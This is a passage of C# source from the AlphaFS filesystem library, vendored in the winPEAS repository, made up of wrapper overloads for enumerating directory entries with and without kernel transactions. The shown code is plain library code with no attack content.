pathFormat) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, Path.WildcardStarMatchAll, null, null, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names and directory names that match a in a specified . /// An enumerable collection of file system entries in the directory specified by and that match the specified . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, string searchPattern, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, searchPattern, null, null, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names and directory names that match a in a specified , and optionally searches subdirectories. /// An enumerable collection of file system entries in the directory specified by and that match the specified and . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, string searchPattern, SearchOption searchOption, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, searchPattern, searchOption, null, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names and directory names in a specified . /// An enumerable collection of file system entries in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// flags that specify how the directory is to be enumerated. [SecurityCritical] public static IEnumerable EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, Path.WildcardStarMatchAll, null, options, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names and directory names in a specified . /// An enumerable collection of file system entries in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, Path.WildcardStarMatchAll, null, options, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names and directory names that match a in a specified . /// An enumerable collection of file system entries in the directory specified by and that match the specified . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, searchPattern, null, options, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names and directory names that match a in a specified . /// An enumerable collection of file system entries in the directory specified by and that match the specified . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, searchPattern, null, options, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names and directory names in a specified . /// An enumerable collection of file system entries in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// The specification of custom filters to be used in the process. [SecurityCritical] public static IEnumerable EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, Path.WildcardStarMatchAll, null, null, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names and directory names in a specified . /// An enumerable collection of file system entries in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, Path.WildcardStarMatchAll, null, null, filters, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names and directory names in a specified . /// An enumerable collection of file system entries in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. [SecurityCritical] public static IEnumerable EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, Path.WildcardStarMatchAll, null, options, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names and directory names in a specified . /// An enumerable collection of file system entries in the directory specified by . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] public static IEnumerable EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, Path.WildcardStarMatchAll, null, options, filters, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file names and directory names that match a in a specified . /// An enumerable collection of file system entries in the directory specified by and that match the specified . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, searchPattern, null, options, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file names and directory names that match a in a specified . /// An enumerable collection of file system entries in the directory specified by and that match the specified . /// /// /// /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntriesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, searchPattern, null, options, filters, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateFileSystemEntryInfos.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Returns an enumerable collection of file system entries in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The directory to search. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public static IEnumerable EnumerateFileSystemEntryInfos(string path) { return EnumerateFileSystemEntryInfosCore(null, null, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file system entries in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The directory to search. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public static IEnumerable EnumerateFileSystemEntryInfos(string path, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, null, path, Path.WildcardStarMatchAll, null, null, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file system entries in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The directory to search. /// flags that specify how the directory is to be enumerated. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public static IEnumerable EnumerateFileSystemEntryInfos(string path, DirectoryEnumerationOptions options) { return EnumerateFileSystemEntryInfosCore(null, null, path, Path.WildcardStarMatchAll, null, options, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file system entries in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The directory to search. /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public static IEnumerable EnumerateFileSystemEntryInfos(string path, DirectoryEnumerationOptions options, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, null, path, Path.WildcardStarMatchAll, null, options, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file system entries that match a in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public static IEnumerable EnumerateFileSystemEntryInfos(string path, string searchPattern) { return EnumerateFileSystemEntryInfosCore(null, null, path, searchPattern, null, null, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file system entries that match a in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public static IEnumerable EnumerateFileSystemEntryInfos(string path, string searchPattern, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, null, path, searchPattern, null, null, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file system entries that match a in a specified path using . /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public static IEnumerable EnumerateFileSystemEntryInfos(string path, string searchPattern, DirectoryEnumerationOptions options) { return EnumerateFileSystemEntryInfosCore(null, null, path, searchPattern, null, options, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file system entries that match a in a specified path using . /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public static IEnumerable EnumerateFileSystemEntryInfos(string path, string searchPattern, DirectoryEnumerationOptions options, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, null, path, searchPattern, null, options, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file system entries in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The directory to search. /// The specification of custom filters to be used in the process. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public static IEnumerable EnumerateFileSystemEntryInfos(string path, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(null, null, path, Path.WildcardStarMatchAll, null, null, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file system entries in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The directory to search. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public static IEnumerable EnumerateFileSystemEntryInfos(string path, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, null, path, Path.WildcardStarMatchAll, null, null, filters, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file system entries in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The directory to search. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public static IEnumerable EnumerateFileSystemEntryInfos(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(null, null, path, Path.WildcardStarMatchAll, null, options, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file system entries in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The directory to search. /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public static IEnumerable EnumerateFileSystemEntryInfos(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, null, path, Path.WildcardStarMatchAll, null, options, filters, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file system entries that match a in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// The specification of custom filters to be used in the process. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntryInfos(string path, string searchPattern, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(null, null, path, searchPattern, null, null, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file system entries that match a in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntryInfos(string path, string searchPattern, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, null, path, searchPattern, null, null, filters, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file system entries that match a in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntryInfos(string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters) { return EnumerateFileSystemEntryInfosCore(null, null, path, searchPattern, null, options, filters, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file system entries that match a in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntryInfos(string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, null, path, searchPattern, null, options, filters, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateFileSystemEntryInfosTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Returns an enumerable collection of file system entries in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The transaction. /// The directory to search. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public static IEnumerable EnumerateFileSystemEntryInfosTransacted(KernelTransaction transaction, string path) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, Path.WildcardStarMatchAll, null, null, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file system entries in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The transaction. /// The directory to search. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public static IEnumerable EnumerateFileSystemEntryInfosTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, Path.WildcardStarMatchAll, null, null, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file system entries in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The transaction. /// The directory to search. /// flags that specify how the directory is to be enumerated. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public static IEnumerable EnumerateFileSystemEntryInfosTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, Path.WildcardStarMatchAll, null, options, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file system entries in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The transaction. /// The directory to search. /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public static IEnumerable EnumerateFileSystemEntryInfosTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, Path.WildcardStarMatchAll, null, options, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file system entries that match a in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntryInfosTransacted(KernelTransaction transaction, string path, string searchPattern) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, searchPattern, null, null, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file system entries that match a in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntryInfosTransacted(KernelTransaction transaction, string path, string searchPattern, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, searchPattern, null, null, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file system entries that match a in a specified path using . /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntryInfosTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, searchPattern, null, options, null, PathFormat.RelativePath); } /// [AlphaFS] Returns an enumerable collection of file system entries that match a in a specified path using . /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The transaction. /// The directory to search. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] [Obsolete("Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.")] public static IEnumerable EnumerateFileSystemEntryInfosTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, PathFormat pathFormat) { return EnumerateFileSystemEntryInfosCore(null, transaction, path, searchPattern, null, options, null, pathFormat); } /// [AlphaFS] Returns an enumerable collection of file system entries in a specified path. /// The matching file system entries. The type of the items is determined by the type . /// /// /// /// /// /// /// The type to return. This may be one of the following types: /// /// /// /// This method will return instances of instances. /// /// /// /// This method will return instances of and instances. /// /// /// /// This method will return the full path of each item. /// /// /// /// The transaction. /// The directory to search. /// The specification of custom filters to be used in the process. [SuppressMessage("Microsoft.Naming", 